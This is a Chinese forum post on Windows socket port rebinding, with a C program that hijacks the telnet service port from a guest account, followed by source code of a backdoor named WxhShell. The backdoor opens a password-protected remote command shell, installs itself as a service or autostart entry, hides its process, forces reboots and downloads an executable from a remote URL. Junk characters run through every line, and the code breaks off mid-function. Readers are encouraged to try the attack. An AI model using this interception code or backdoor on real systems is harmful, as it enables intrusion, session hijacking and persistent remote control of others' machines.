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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yiiYq(\{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #:e52=  
Mo0+"`   
  saddr.sin_family = AF_INET; &Nt4dp`qj  
Zm^4p{I%o*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8ZE{GX.m2c  
T[;O K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2VA\{M  
bncIxxe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^LX1&yT@  
O#uTwnW  
  这意味着什么?意味着可以进行如下的攻击: O3PE w4yA  
2D,9$ 0k_]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FhHcS>]:.  
V)oUSHillH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 98x]x:mgI_  
c7E=1*C<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  =6Ihk  
b7p&EK"Hm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z;x $tO  
1nye.i~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &ScADmZP^d  
oyiEOC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MyXgp>?~T  
X~T"n<:a>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 49E<`f0  
wWQv]c%  
  #include SoI"a^fY  
  #include FcB]wz  
  #include #%rXDGDS  
  #include    rp (nGiI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c~K^ooS-  
  int main() PTXy:>]M  
  { TL U^ad#9E  
  WORD wVersionRequested; p'fU}B1  
  DWORD ret; DP6M4  
  WSADATA wsaData; 8A~5@  
  BOOL val; b7^VWX%  
  SOCKADDR_IN saddr; Y.$ '<1  
  SOCKADDR_IN scaddr; FY|.eY_7 {  
  int err; y'(l]F1]  
  SOCKET s; PF+v[h;,  
  SOCKET sc; |$`)d87,  
  int caddsize; l\vtz5L  
  HANDLE mt; Py3Xvudv  
  DWORD tid;   A]id*RtY  
  wVersionRequested = MAKEWORD( 2, 2 ); *tC]Z&5  
  err = WSAStartup( wVersionRequested, &wsaData ); &.,ZU\`zT  
  if ( err != 0 ) { >jD,%yG  
  printf("error!WSAStartup failed!\n"); ]cdKd)  
  return -1; o$8v8="p  
  } :UGc6  
  saddr.sin_family = AF_INET; . T6fPEb  
   q$(@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I ww.Nd2  
gNY}`'~hr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wuSp+?{5k  
  saddr.sin_port = htons(23); u=JI 1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RcIGIt  
  { FIG3P))  
  printf("error!socket failed!\n"); s-!Bpr16o0  
  return -1; Av:5v3%  
  } {{7%z4l  
  val = TRUE; %]S~PKx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0!!b(X(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (vMC.y5  
  { 0wU8PZ Nj  
  printf("error!setsockopt failed!\n"); $@<qaR{t\  
  return -1; 8.3888  
  } xL,Lb}){%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^R',P(@oL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rd7Xs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~0aWjMc(>  
_-$O6eZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |-GmWSK_  
  { ;O5p>o  
  ret=GetLastError(); l3dGe'  
  printf("error!bind failed!\n"); RG1~)5AL~Y  
  return -1; ;gfY_MXnF  
  } /^v?Q9=Y  
  listen(s,2); #-?pY"N,  
  while(1) o_>id^$>B  
  { zY6{ OP!#  
  caddsize = sizeof(scaddr); R{uq8NA- W  
  //接受连接请求 O*^=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OoL#8R  
  if(sc!=INVALID_SOCKET) STmn%&  
  { O&YX V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 69AgPAv<k  
  if(mt==NULL) H)tnxD0)  
  {  Cg[]y1Ne  
  printf("Thread Creat Failed!\n"); +`4`OVE_#  
  break; 1sKKmtgH  
  } b<o Uy  
  } 9N5ptdP.d  
  CloseHandle(mt); gU1E6V-Jm  
  } -S5M>W.Qb{  
  closesocket(s); Ej\EuX  
  WSACleanup(); $xqI3UaX  
  return 0; <Hw)},_*  
  }   ckFnQhW  
  DWORD WINAPI ClientThread(LPVOID lpParam) R r7r5  
  { ~RGZY/4  
  SOCKET ss = (SOCKET)lpParam; p"" #Gbwj  
  SOCKET sc; ~Vq<nkWS  
  unsigned char buf[4096]; v3SH+Ej4  
  SOCKADDR_IN saddr; 6) {jHnk)  
  long num; h&d%#6mB  
  DWORD val; {Wp+Y9c[  
  DWORD ret; HPJ\]HV(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "e.QiK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8Yfg@"Tn  
  saddr.sin_family = AF_INET; " '/:Tp)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pl(+&k`}  
  saddr.sin_port = htons(23); E=!=4"rZF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @*Sge LeL  
  { 8;2UP`8s?  
  printf("error!socket failed!\n"); am;)@<8~Q  
  return -1; j. UQLi&`  
  } NMq#D$T  
  val = 100; <%WN<T{q|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vpR^G`/  
  { $t.i)wg +  
  ret = GetLastError(); H>Wi(L7  
  return -1; gx+bKGB`  
  } F)P"UQ!\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \z"0lAv"  
  { 8`Wj 1 ,q  
  ret = GetLastError(); V?"X0>]0  
  return -1; b=[gK|fu  
  } ;4XvlcGo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bc%A aZ0x  
  { )wkh  
  printf("error!socket connect failed!\n"); I L dRN  
  closesocket(sc); +c&n7  
  closesocket(ss); i oCoFj  
  return -1; 6f1%5&si  
  } o+(>/Ou  
  while(1) +Kc1a;  
  { ]L0GIVIE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b~F(2[o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }6/L5j:+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~F5JN^5Y  
  num = recv(ss,buf,4096,0); Q\(VQ1c  
  if(num>0) 5f+ziiZ  
  send(sc,buf,num,0); l5sBDiir%  
  else if(num==0) =%u\x=u|  
  break; x!\FB.h4!(  
  num = recv(sc,buf,4096,0); J?/.|Y]e  
  if(num>0) u<8 f ;C_  
  send(ss,buf,num,0); {"<6'2T3  
  else if(num==0) ml7nt 0{  
  break; B35zmFX|}N  
  } 9G8n'jWyY  
  closesocket(ss); cY/!z  
  closesocket(sc); W}+f}/&l  
  return 0 ; .<`W2*1  
  } x+~IXi>Ig  
5 `:+NwXS2  
U3SF'r8  
========================================================== oicett=5  
P3[+c4  
下边附上一个代码,,WXhSHELL HVb9YU+  
h&|wqna  
========================================================== }z/;^``  
T';<;6J**  
#include "stdafx.h" nnBgTtsC]  
V\axOz!  
#include <stdio.h> .E !p  
#include <string.h> }5n((7@X  
#include <windows.h> <0[{Tn  
#include <winsock2.h> <:#O*Y{  
#include <winsvc.h> 1VW;[ ocQ  
#include <urlmon.h> bDdJh}Vz  
>`rK=?12<  
#pragma comment (lib, "Ws2_32.lib") }qUNXE@  
#pragma comment (lib, "urlmon.lib") XOl]s?6H$  
; n2|pC^  
#define MAX_USER   100 // 最大客户端连接数 YT;b$>1v  
#define BUF_SOCK   200 // sock buffer Mwdh]I,#  
#define KEY_BUFF   255 // 输入 buffer .K![<e Z  
i4T U}.h8  
#define REBOOT     0   // 重启 \'( @{  
#define SHUTDOWN   1   // 关机 5ug?'TOj'  
4}{S8fGk%  
#define DEF_PORT   5000 // 监听端口 MFHPh8P  
b`Wn98s  
#define REG_LEN     16   // 注册表键长度 z-G|EAON"/  
#define SVC_LEN     80   // NT服务名长度  & y1' J  
!Ju?REH   
// 从dll定义API G9\Bi-'ul  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e_J_rx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]pLQ;7f7D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oF/5mh__(K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9%\<x  
]d"4G7mu`l  
// wxhshell配置信息 RL>Nl ow  
struct WSCFG { 5GK=R aV  
  int ws_port;         // 监听端口 }G&#pw2  
  char ws_passstr[REG_LEN]; // 口令 ,x5`5mT3  
  int ws_autoins;       // 安装标记, 1=yes 0=no `Rj<qz^7  
  char ws_regname[REG_LEN]; // 注册表键名 mi|O)6>8n  
  char ws_svcname[REG_LEN]; // 服务名 ?{#P.2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bwM>#@H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HtOo*\Ne  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jY-i`rJN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W38My j!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lo:]r.lX{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Du>dTi~  
yWIM,2x}  
}; 8WWRKP1V  
g# ZR, q  
// default Wxhshell configuration zypZ3g{vz  
struct WSCFG wscfg={DEF_PORT, gf+Kr02~  
    "xuhuanlingzhe", *IzcW6 [9  
    1, ^SCZ  
    "Wxhshell", Df;FOTTi%  
    "Wxhshell", HzB&+c? Z  
            "WxhShell Service", /LhAQpUQT5  
    "Wrsky Windows CmdShell Service", XgKtg-,  
    "Please Input Your Password: ", 9bjjo;A  
  1, i;^ e6A>  
  "http://www.wrsky.com/wxhshell.exe", LBtVK, ?  
  "Wxhshell.exe" M;W{A)0i1  
    }; Kp"mV=RG2T  
zMX7 #,  
// 消息定义模块 oaI7j=Gp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NFGC.<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N s9cx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !U#kUj:4I  
char *msg_ws_ext="\n\rExit."; eif<aG5  
char *msg_ws_end="\n\rQuit."; ?/"@WP9  
char *msg_ws_boot="\n\rReboot..."; +S M $#  
char *msg_ws_poff="\n\rShutdown..."; io cr  
char *msg_ws_down="\n\rSave to "; ro37H2^Ty  
xkl'Y*  
char *msg_ws_err="\n\rErr!"; A <iF37.  
char *msg_ws_ok="\n\rOK!"; e =& abu  
ld94ek  
char ExeFile[MAX_PATH]; yY*OAC  
int nUser = 0;  D@qq=M  
HANDLE handles[MAX_USER]; uc%75TJ@  
int OsIsNt; -;T>4B=  
/-4i"|  
SERVICE_STATUS       serviceStatus; Z5Ao3O@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;^:~xJFx|  
mBc;^8I?23  
// 函数声明 ,KkENp_  
int Install(void); |LKhT4rE  
int Uninstall(void); .CI]8O"3y  
int DownloadFile(char *sURL, SOCKET wsh); ;: Hfkyy]  
int Boot(int flag); {a_= 4a  
void HideProc(void); q=bJ9iJsq  
int GetOsVer(void); <(d ^2-0  
int Wxhshell(SOCKET wsl); oypq3V=5  
void TalkWithClient(void *cs); MLmc]nL=  
int CmdShell(SOCKET sock); }*$-rieg  
int StartFromService(void); Q" VFcp:  
int StartWxhshell(LPSTR lpCmdLine); /{7x|ay]  
qYIBP?`g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EBw}/y{Kt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UuT>qWxQ8  
.EH^1.|v  
// 数据结构和表定义 3Q[]lFJ}F  
SERVICE_TABLE_ENTRY DispatchTable[] = M O* m@  
{ s;}';#  
{wscfg.ws_svcname, NTServiceMain}, '. atbl  
{NULL, NULL} WKBPqfC  
}; gU>Y  
/j -LW1:N  
// 自我安装 \UJ:PW$7  
int Install(void) o&*1Mx<+  
{ wx(| $2{h  
  char svExeFile[MAX_PATH]; NNutpA}s  
  HKEY key; x:;8U i"&B  
  strcpy(svExeFile,ExeFile); lZ^XZjwoM  
\I#lLP  
// 如果是win9x系统,修改注册表设为自启动 UN| "D]>/  
if(!OsIsNt) { ]ZO^@sH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \R&`bAdk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K]@6&H-b|  
  RegCloseKey(key); 2|EH Ny!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BAm H2"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZH_ J+  
  RegCloseKey(key); ]lQhIf6)k  
  return 0; '4HwS$mW3  
    } E3,Z(dpX!  
  } w \0=L=J  
} 9]|[z{v'>l  
else { E_WiQ?p   
0plRsZ}  
// 如果是NT以上系统,安装为系统服务 I" sKlMD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l:Ci'=  
if (schSCManager!=0) TKoO\\  
{ N Ja]UZx  
  SC_HANDLE schService = CreateService {+ [rJ_  
  ( sdS<-! %u4  
  schSCManager, ,PRM(n-  
  wscfg.ws_svcname, =h&DW5QC  
  wscfg.ws_svcdisp, X@x: F|/P  
  SERVICE_ALL_ACCESS, plfz)x3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4,H}'@Db}  
  SERVICE_AUTO_START, FjiLc=RXXz  
  SERVICE_ERROR_NORMAL, ?Dd2k%o  
  svExeFile, hpWAQ#%oHm  
  NULL, ]N1$ioC#  
  NULL, qK|r+}g|&  
  NULL, A!iH g__/t  
  NULL, 4CX*  
  NULL S)g5Tu)  
  ); B HZGQm  
  if (schService!=0) s}|IRDpp  
  { w^R5/#F_r  
  CloseServiceHandle(schService); s_`wLQ7e  
  CloseServiceHandle(schSCManager); q#sMew\{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UfcM2OmbK  
  strcat(svExeFile,wscfg.ws_svcname); * +A!12s@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &??(EA3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5Odi\SJ&  
  RegCloseKey(key); oH6(Lq'q  
  return 0; n6Q 3X  
    } lt,x(2  
  } s)/i_Oe$\  
  CloseServiceHandle(schSCManager); .vpQ3m>  
} n )`*{uv$  
} {j:{wW.  
zb9d{e   
return 1; 4 D\_[(P  
} n=rPFp RLF  
*%Gy-5hM  
// 自我卸载 /"iYEr%_  
int Uninstall(void) )E6m}?H5  
{ MlRgdVX  
  HKEY key; Mqw&%dz'_  
Wt8;S$!=R  
if(!OsIsNt) { LfgR[!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2vj)3%:7#E  
  RegDeleteValue(key,wscfg.ws_regname); Q.\+ XR_|  
  RegCloseKey(key); vNE91  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / d6mlQS  
  RegDeleteValue(key,wscfg.ws_regname); 8(Z*Vz uu  
  RegCloseKey(key); zac>tXU;  
  return 0; 9SAyU%mS:  
  } Pq7YJ"Z?:  
} C8&)-v|  
} !EpP-bq'*  
else { Grjm9tbX}  
d8]6<\g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6"_FjS3Sl  
if (schSCManager!=0) qx_+mCZ  
{ vj{h*~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ap}:^k5{  
  if (schService!=0) []LNNO],X  
  { *"9b?`E  
  if(DeleteService(schService)!=0) { ?`FI!3j  
  CloseServiceHandle(schService); NRoi` IIj  
  CloseServiceHandle(schSCManager); {'d?vm!r  
  return 0; .P,\69g~A  
  } W4>8  
  CloseServiceHandle(schService); 3$HFHUMQsk  
  } I[[rVts  
  CloseServiceHandle(schSCManager); ,qvz:a  
} d>vGx  
} &lGp /m:  
eKStt|M'  
return 1; 5vP*oD  
} cp.)K!$  
<'GI<Hc  
// 从指定url下载文件 u :m]-'  
int DownloadFile(char *sURL, SOCKET wsh) Q3oVl^q  
{ ?'h@!F%R'  
  HRESULT hr; =gfLl1wY[  
char seps[]= "/"; 38Wv&!  
char *token; /3+7a\|mKr  
char *file; $orhY D3gv  
char myURL[MAX_PATH]; TAzhD.6C  
char myFILE[MAX_PATH]; }GGFJ"  
G3?8GTH  
strcpy(myURL,sURL); u[d8)+VX  
  token=strtok(myURL,seps); dnNc,l&g  
  while(token!=NULL) pazFVzT  
  { 5jYRIvM[Q~  
    file=token; ]Ff&zBJ  
  token=strtok(NULL,seps); WfO6Fvx%  
  } t~@TUTbx  
.` ,YUr$.  
GetCurrentDirectory(MAX_PATH,myFILE); %?RX}37K  
strcat(myFILE, "\\"); Q*KEODR8\  
strcat(myFILE, file); VK ?,8Y  
  send(wsh,myFILE,strlen(myFILE),0); Uyi_B.:`  
send(wsh,"...",3,0); =cRJtn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tb@/E  
  if(hr==S_OK) \>I&UFfH)4  
return 0; )cOm\^,  
else  "&C'K  
return 1; 4H1s"mP<  
b(~NqV!i  
} 6Ajiz_~U  
OkFq>;{a  
// 系统电源模块 pV>/ "K  
int Boot(int flag) U<#i\4W  
{ < ^J!*>  
  HANDLE hToken; q)!{oi{x(  
  TOKEN_PRIVILEGES tkp; Iqo4INGIi  
<ygkK5#q  
  if(OsIsNt) { k ( R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -M[5K/[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k`TEA?RfQ  
    tkp.PrivilegeCount = 1; y l3iU:+V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t0?BU~f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  -JUv'fk  
if(flag==REBOOT) { yY,.GzIjCj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YjG0: 9  
  return 0; l<qxr.X  
} ]p#Zdm1EL  
else { KN+*_L-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TXy*-<#vR  
  return 0; 5(DCq(\P*  
} R8HA X  
  } IlS{>6  
  else { |4-Ey! P  
if(flag==REBOOT) { ] >`Q"g~0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >:wk.<Z-  
  return 0; 9`c :sop  
} ^. Pn)J  
else { m'429E]\S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k,q` ^E8k  
  return 0; O gycP4z[  
} ~8|$KD4I  
} ][qZOIk@  
&|9?B!,`  
return 1; 1` 9/[2z  
} %7V?7BE  
jP}N^  
// win9x进程隐藏模块 R\X=Vg  
void HideProc(void) Dy8Go4  
{ ?mF-zA'4]  
mXa1SZnE   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); du47la 3  
  if ( hKernel != NULL ) tpCEWdn5  
  { u,'c:RMV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F]Y Pq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VSP[G ,J.  
    FreeLibrary(hKernel); 3-_4p8OK  
  } kW/ksz0)  
$]%k <|X  
return; vmmu[v  
} Wje7fv  
l sUQ7%f  
// 获取操作系统版本 1bvL  
int GetOsVer(void) {O!fV<Vx 9  
{ Cf%)W:Q9  
  OSVERSIONINFO winfo; =zbrXtp,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X|.X4fs  
  GetVersionEx(&winfo); /+66y=`UJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /=-E`%R}!  
  return 1; Q2k\8i  
  else @c.QrKSaD  
  return 0; ,sJ{2,]~  
} 5F0sfX  
  (+Er  
// 客户端句柄模块 @o>2:D1G  
int Wxhshell(SOCKET wsl) $Y ]*v)}X  
{ qnT:x{o  
  SOCKET wsh; NP|U |zn  
  struct sockaddr_in client; .0s/O  
  DWORD myID; 9^jO^[>  
[c3hwogf:  
  while(nUser<MAX_USER) "w|GIjE+  
{ .>H7i`1D`  
  int nSize=sizeof(client); 4$y|z{[< 5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4\-kzGgmo  
  if(wsh==INVALID_SOCKET) return 1; `%rqQnVB  
a:P% r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C0kwI*)  
if(handles[nUser]==0) \WZ00Y,*  
  closesocket(wsh); p%,JWZ[  
else x#pT B.  
  nUser++; m4kmJaM  
  } _u.l|yR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cL`l1:j\}  
\)LY_D:  
  return 0; N-vr_4{g  
} #>!!#e!*  
EV~_-YC   
// 关闭 socket WlG/7$  
void CloseIt(SOCKET wsh) Le_?x  
{ n1!u aUC  
closesocket(wsh); Yz{UP)TC  
nUser--; mEE/Olh W  
ExitThread(0); y+X%qTB  
} AMtFOXx%I  
33 N5>}  
// 客户端请求句柄 TNiF l hq  
void TalkWithClient(void *cs) F1 MPo;e  
{  BeP0lZ  
!f"@pR6  
  SOCKET wsh=(SOCKET)cs; o<%Sr*  
  char pwd[SVC_LEN]; R#Ss_y  
  char cmd[KEY_BUFF]; F5E KWP  
char chr[1]; 9#pl BtQ**  
int i,j; 6IeHZ)jGj  
~Uga=&  
  while (nUser < MAX_USER) { v bh\uv&  
/A{znE  
if(wscfg.ws_passstr) { bC"#.e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u QCQ$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5w{_WR6,  
  //ZeroMemory(pwd,KEY_BUFF); 3D%I=p(  
      i=0; Z=wLNmH  
  while(i<SVC_LEN) { "rkP@ja9n  
[t?ftS  
  // 设置超时 !9V_U  
  fd_set FdRead; M|76,2u   
  struct timeval TimeOut; =X>?Y,   
  FD_ZERO(&FdRead); BcA:M\dK%  
  FD_SET(wsh,&FdRead); "z7.i{  
  TimeOut.tv_sec=8; <!4'?K-N  
  TimeOut.tv_usec=0; T;.#=h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +vZ-o{}.jO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -_A0<A.  
N<O^%!buR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Q5/d9B8TN  
  pwd=chr[0]; l"O=xt`m{  
  if(chr[0]==0xd || chr[0]==0xa) { ~hz]x^:  
  pwd=0; .}]5y4UQ.  
  break; &K|CH? D  
  } Qs</.PO  
  i++; opdi5 e)jK  
    } V"\t  
.y[=0K:  
  // 如果是非法用户,关闭 socket WM*7p;t@)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qDL9  
} 6(X(f;MEl  
%'@&j2j>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e|xRK?aVBu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q<Utwk?nL  
5f}wQ  
while(1) { !=eui$]  
NcFHvK  
  ZeroMemory(cmd,KEY_BUFF); FRX'"gIR0  
~?S/0]?c  
      // 自动支持客户端 telnet标准   E+F!u5u  
  j=0; {n2jAR9nq  
  while(j<KEY_BUFF) { |)yO] pB:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;/ WtO2  
  cmd[j]=chr[0]; @k ~Xem%<  
  if(chr[0]==0xa || chr[0]==0xd) { :\gdQG  
  cmd[j]=0; T [&1cth  
  break; 6YYZ S2  
  } =d&  
  j++; ANi}q9SC  
    } mI9~\k&9  
M>8#is(pV  
  // 下载文件 #t po@pJsE  
  if(strstr(cmd,"http://")) { VbJGyjx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s$|GVv1B  
  if(DownloadFile(cmd,wsh)) n$B=Vt,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c?j/ H$  
  else ~ B1)!5Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (4x`/  
  } ZVk_qA%  
  else { /oE@F178  
\_CC6J0k  
    switch(cmd[0]) { [y64%|m  
  f*LDrAf9  
  // 帮助 ,7z.%g3+z  
  case '?': { bp;b;f>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eBBqF!WDb  
    break; NKh"x&R  
  } E<D45C{DP  
  // 安装 3|l+&LF!IC  
  case 'i': { EL5gMs  
    if(Install()) $x#Y\dpS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ixp(^>ZN  
    else ,o*x\jrGw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vRYfB{~  
    break; *Xn{{  
    } 2LEf"FH0~  
  // 卸载 nsuK{8}@  
  case 'r': { M')f,5i&$  
    if(Uninstall()) }&bO;o&>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y Dq5%N`  
    else QI.{M$,m~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OpW4@le_r  
    break; 9)];l?l  
    } +MvcW.W~  
  // 显示 wxhshell 所在路径 Qis[j-?:  
  case 'p': { u @?n3l  
    char svExeFile[MAX_PATH]; oZQ% P  
    strcpy(svExeFile,"\n\r"); LlrUJ-uC7  
      strcat(svExeFile,ExeFile); 2dFC{US'  
        send(wsh,svExeFile,strlen(svExeFile),0); T:q!>"5  
    break; tF+m/}PM^  
    } 294 0M4  
  // 重启 7%b?[}y4  
  case 'b': { mr,IP=e~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sbc  
    if(Boot(REBOOT)) /YKg.DA|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y1h8O%?  
    else { @6~r7/WD  
    closesocket(wsh); +Vl\lL -  
    ExitThread(0); :&S6AP  
    } Cd?a C  
    break; >WVos 4  
    } < HlS0J9  
  // 关机 l c?9B  
